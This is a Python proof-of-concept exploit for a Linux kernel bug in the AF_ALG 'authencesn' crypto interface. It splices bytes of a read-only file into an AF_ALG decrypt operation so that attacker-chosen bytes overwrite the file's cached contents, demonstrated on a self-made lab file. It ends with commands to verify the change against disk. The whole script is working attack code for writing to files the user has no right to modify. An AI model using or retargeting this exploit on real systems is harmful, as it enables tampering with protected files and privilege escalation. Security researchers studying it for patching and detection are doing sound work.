# copyfail_poc.py import os import struct import socket from pathlib import Path AF_ALG = 38 SOL_ALG = 279 ALG_SET_KEY = 1 ALG_SET_IV = 2 ALG_SET_OP = 3 ALG_SET_AEAD_ASSOCLEN = 4 ALG_SET_AEAD_AUTHSIZE = 5 ALG_OP_DECRYPT = 0 CRYPTO_AUTHENC_KEYA_PARAM = 1 target = "./target.bin" overwrite_off = 0x1234 authsize = 0x10 splice_len = 0x20 splice_off = overwrite_off - (splice_len - authsize) write_value = b"PWN!" aad = b"A" * 4 + write_value def marker(label): with target_path.open("rb") as f: f.seek(overwrite_off) b = f.read(4) print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})") print(f"[+] target : {Path(target).expanduser()}") print(f"[+] overwrite : file offset 0x{overwrite_off:x}") print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}") print(f"[+] write value : {write_value!r}") # 1. Create a harmless read-only lab target. target_path = Path(target).expanduser() target_path.parent.mkdir(parents=True, exist_ok=True) data = bytearray(b"X" * 0x3000) data[overwrite_off:overwrite_off + 4] = b"ORIG" target_path.write_bytes(data) with target_path.open("rb") as f: os.fsync(f.fileno()) target_path.chmod(0o444) marker("[+] marker before") # 2. Open AF_ALG transform socket. tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) try: tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) except FileNotFoundError: print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).") print("[!] Check /proc/crypto and try: sudo modprobe authencesn") raise print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))") # 3. Configure the authenc-compatible key blob and authsize, then accept. key_blob = ( struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) + struct.pack("!I", 16) + (b"A" * 32) + (b"B" * 16) ) tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob) tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize) print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10") op, _ = tfm.accept() print(f"[+] accepted operation socket: fd={op.fileno()}") # 4. Queue attacker-controlled AAD. # AAD[4:8] is the 4-byte value authencesn later writes. iv = struct.pack("I", 16) + (b"\x44" * 16) op.sendmsg( [aad], [ (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), (SOL_ALG, ALG_SET_IV, iv), (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))), ], socket.MSG_MORE, ) print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}") # 5. Splice target file bytes into a pipe. r, w = os.pipe() fd = os.open(str(target_path), os.O_RDONLY) os.splice(fd, w, splice_len, splice_off, None, 0) print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}") # 6. Splice pipe into AF_ALG operation socket. os.splice(r, op.fileno(), splice_len, None, None, 0) print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes") # 7. Trigger decrypt. Authentication is expected to fail. try: op.recv(0x1000) print("[+] recv returned data") except OSError as e: print(f"recv failed as expected: {e}") marker("[+] marker after ") print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}") print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'") print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}") print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches") os.close(fd) os.close(r) os.close(w) op.close() tfm.close()